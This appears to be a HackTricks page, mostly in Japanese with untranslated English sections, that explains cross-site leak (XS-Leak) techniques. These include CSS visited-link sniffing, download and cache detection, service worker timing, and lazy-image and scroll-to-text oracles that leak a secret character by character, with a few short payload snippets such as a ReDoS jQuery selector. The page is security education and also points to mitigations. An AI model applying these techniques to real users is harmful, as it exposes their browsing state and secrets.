Web アプリケーションは、ユーザーの状態に応じてウェブサイトのスタイリングを変更する場合があります。クロスオリジン CSS ファイルは、HTML リンク要素を使用して攻撃者ページに埋め込むことができ、その ルール が攻撃者ページに 適用 されます。ページがこれらのルールを動的に変更する場合、攻撃者はユーザーの状態に応じてこれらの 違い検出 することができます。
情報漏洩技術として、攻撃者は特定の HTML 要素の CSS プロパティを 読み取る ために window.getComputedStyle メソッドを使用できます。その結果、影響を受ける要素とプロパティ名がわかっていれば、攻撃者は任意の CSS プロパティを読み取ることができます。

CSS 履歴

{% hint style="info" %} こちら によると、ヘッドレス Chrome では機能しません。 {% endhint %}

CSS の :visited セレクタは、ユーザーが以前に訪れた URL を異なるスタイルで表示するために使用されます。過去には、getComputedStyle() メソッドを使用してこれらのスタイルの違いを特定することができました。しかし、現代のブラウザは、このメソッドがリンクの状態を明らかにするのを防ぐためのセキュリティ対策を実装しています。これらの対策には、常にリンクが訪問済みとして計算されたスタイルを返すことや、:visited セレクタで適用できるスタイルを制限することが含まれます。

これらの制限にもかかわらず、リンクの訪問状態を間接的に識別することは可能です。ユーザーに CSS に影響を受ける領域とやり取りさせることを特に活用するテクニックがあり、mix-blend-mode プロパティを使用します。このプロパティは、要素を背景とブレンドすることを可能にし、ユーザーの操作に基づいて訪問状態を明らかにする可能性があります。

さらに、ユーザーの操作なしにリンクのレンダリングタイミングを悪用することで、検出が可能です。ブラウザは訪問済みリンクと未訪問リンクを異なる方法でレンダリングする場合があるため、これによりレンダリングに時間差が生じ、タイミング分析によって訪問状態を検出できます。Chromium のバグレポートには、このテクニックを使用して複数のリンクを使用してタイミングの違いを拡大し、訪問状態をタイミング分析によって検出する方法を示した概念実証 (PoC) が記載されています。

これらのプロパティやメソッドの詳細については、それぞれのドキュメントページをご覧ください:

ContentDocument X-Frame Leak

Chromeでは、X-Frame-Optionsヘッダーが"deny"または"same-origin"に設定されたページがオブジェクトとして埋め込まれると、エラーページが表示されます。Chromeは、他のブラウザやiframesとは異なり、このオブジェクトのcontentDocumentプロパティに対してnullではなく空のドキュメントオブジェクトを返します。攻撃者は、空のドキュメントを検出することで、X-Frame-Optionsヘッダーを一貫して設定せずにエラーページを見落とす開発者がいる場合、ユーザーの状態に関する情報を明らかにする可能性があります。このようなリークを防ぐためには、セキュリティヘッダーの意識と一貫した適用が重要です。

Download Detection

特にContent-Disposition: attachmentというContent-Dispositionヘッダーは、ブラウザにコンテンツをインライン表示するのではなくダウンロードするよう指示します。この動作を利用して、ユーザーがファイルのダウンロードをトリガーするページにアクセスできるかどうかを検出することができます。Chromiumベースのブラウザでは、このダウンロード動作を検出するためのいくつかのテクニックがあります

  1. ダウンロードバーの監視:
  • Chromiumベースのブラウザでファイルをダウンロードすると、ブラウザウィンドウの下部にダウンロードバーが表示されます。
  • ウィンドウの高さの変化を監視することで、ダウンロードバーの表示を推測し、ダウンロードが開始されたことを示唆できます。
  1. iframeを使用したダウンロードナビゲーション:
  • Content-Disposition: attachmentヘッダーを使用してページがファイルのダウンロードをトリガーすると、ナビゲーションイベントが発生しません。
  • iframe内にコンテンツを読み込み、ナビゲーションイベントを監視することで、コンテンツの表示がファイルのダウンロードを引き起こすかどうかナビゲーションが発生しないを確認できます。
  1. iframeを使用しないダウンロードナビゲーション:
  • iframeテクニックと同様に、この方法はiframeの代わりにwindow.openを使用します。
  • 新しく開かれたウィンドウでのナビゲーションイベントを監視することで、ファイルのダウンロードがトリガーされたかどうか(ナビゲーションが発生しない)やコンテンツがインラインで表示されるかどうかを特定できます。

これらのテクニックは、ログイン済みユーザーのみがそのようなダウンロードをトリガーできるシナリオでは、ブラウザの応答に基づいてユーザーの認証状態を間接的に推測するために使用できます。

Partitioned HTTP Cache Bypass

{% hint style="warning" %} このテクニックが興味深い理由: Chromeにはキャッシュの分割があり、新しく開かれたページのキャッシュキーは次のようになります:(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)、しかし、ngrokページを開いてそこでfetchを使用すると、キャッシュキーは次のようになります(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)キャッシュキーが異なるため、キャッシュを共有できません。詳細はこちら:Gaining security and privacy by partitioning the cache
ここのコメントより) {% endhint %}

サイトexample.com*.example.com/resourceからリソースを含む場合、そのリソースはトップレベルナビゲーションを介して直接リクエストされた場合と同じキャッシュキーを持ちます。これは、トップレベル_eTLD+1_とフレーム_eTLD+1_で構成されているためです。

キャッシュへのアクセスはリソースの読み込みよりも速いため、ページの場所を変更し、20ms後にキャンセルするなどの試みが可能です。停止後にオリジンが変更された場合、リソースがキャッシュされていることを意味します。
または、キャッシュされている可能性のあるページにいくつかのfetchを送信し、それがかかる時間を測定することもできます。

Manual Redirect

Fetch with AbortController

fetchsetTimeoutAbortControllerと共に使用して、リソースがキャッシュされているかどうかを検出し、特定のリソースをブラウザキャッシュから削除することが可能です。さらに、新しいコンテンツをキャッシュすることなくプロセスが行われます。

スクリプト汚染

サービスワーカー

与えられたシナリオでは、攻撃者は自分のドメインの1つ、「attacker.com」でサービスワーカーを登録することを主導します。次に、攻撃者はターゲットウェブサイトでメインドキュメントから新しいウィンドウを開き、サービスワーカーにタイマーを開始するよう指示します。新しいウィンドウが読み込みを開始すると、攻撃者は前のステップで取得した参照をサービスワーカーによって管理されるページに移動します。

前のステップで開始されたリクエストが到着すると、サービスワーカーは**204 (No Content)**ステータスコードで応答し、ナビゲーションプロセスを効果的に終了します。この時点で、サービスワーカーは前述のステップで開始されたタイマーから測定値を取得します。この測定値は、JavaScriptによるナビゲーションプロセスの遅延に影響を受けます。

{% hint style="warning" %} 実行時間の計測では、ネットワーク要因を排除してより正確な測定値を取得することが可能です。たとえば、ページで使用されるリソースをページを読み込む前に読み込むことで行うことができます。 {% endhint %}

フェッチタイミング

クロスウィンドウタイミング


Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

HTMLまたは再注入で

ここでは、クロスオリジンHTMLから情報を外部流出させるためのテクニックを見つけることができます。これらのテクニックは、何らかの理由でHTMLを挿入できますが、JSコードを挿入できない場合に興味深いです。

ダングリングマークアップ

{% content-ref url="dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

画像の遅延読み込み

もしコンテンツを外部流出する必要があり、秘密の前にHTMLを追加できる場合は、一般的なダングリングマークアップテクニックをチェックすべきです。
ただし、何らかの理由で1文字ずつ行う必要がある場合(たとえば、通信がキャッシュヒットを介して行われる場合)、このトリックを使用できます。

HTMLの画像には、読み込み時に画像が表示されるようにするための "loading" 属性があります。その場合、画像はページの読み込み中ではなく、表示されるときに読み込まれます。

<img src=/something loading=lazy >

したがって、できることは、多くのジャンク文字を追加することです(たとえば何千もの"W")。これにより、秘密の前にウェブページを埋めるか、<br><canvas height="1850px"></canvas><br>のようなものを追加します。
その後、たとえばインジェクションがフラグの前に現れる場合、画像読み込まれますが、フラグの後に現れる場合、フラグとジャンクが読み込まれないように防ぎます(どれだけのジャンクを配置するかを調整する必要があります)。これはこの解説で起こったことです。

もう1つのオプションは、許可されている場合にscroll-to-text-fragmentを使用することです:

Scroll-to-text-fragment

ただし、ボットがページにアクセスするようにします。

#:~:text=SECR

So the web page will be something like: https://victim.com/post.html#:~:text=SECR

Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.

What this text will do is to make the bot access any text in the page that contains the text SECR. As that text is the secret and it's just below the image, the image will only load if the guessed secret is correct. So there you have your oracle to exfiltrate the secret char by char.

Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Image Lazy Loading Time Based

If it's not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isn't loaded. This is what was used in the solution of this writeup sumarized here:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

If jQuery(location.hash) is used, it's possible to find out via timing if some HTML content exists, this is because if the selector main[id='site-main'] doesn't match it doesn't need to check the rest of the selectors:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injection

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

防御

https://xsinator.com/paper.pdfにおいて推奨される緩和策があり、またhttps://xsleaks.dev/の各セクションにもあります。これらのテクニックに対抗する方法についての詳細はそちらを参照してください。

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}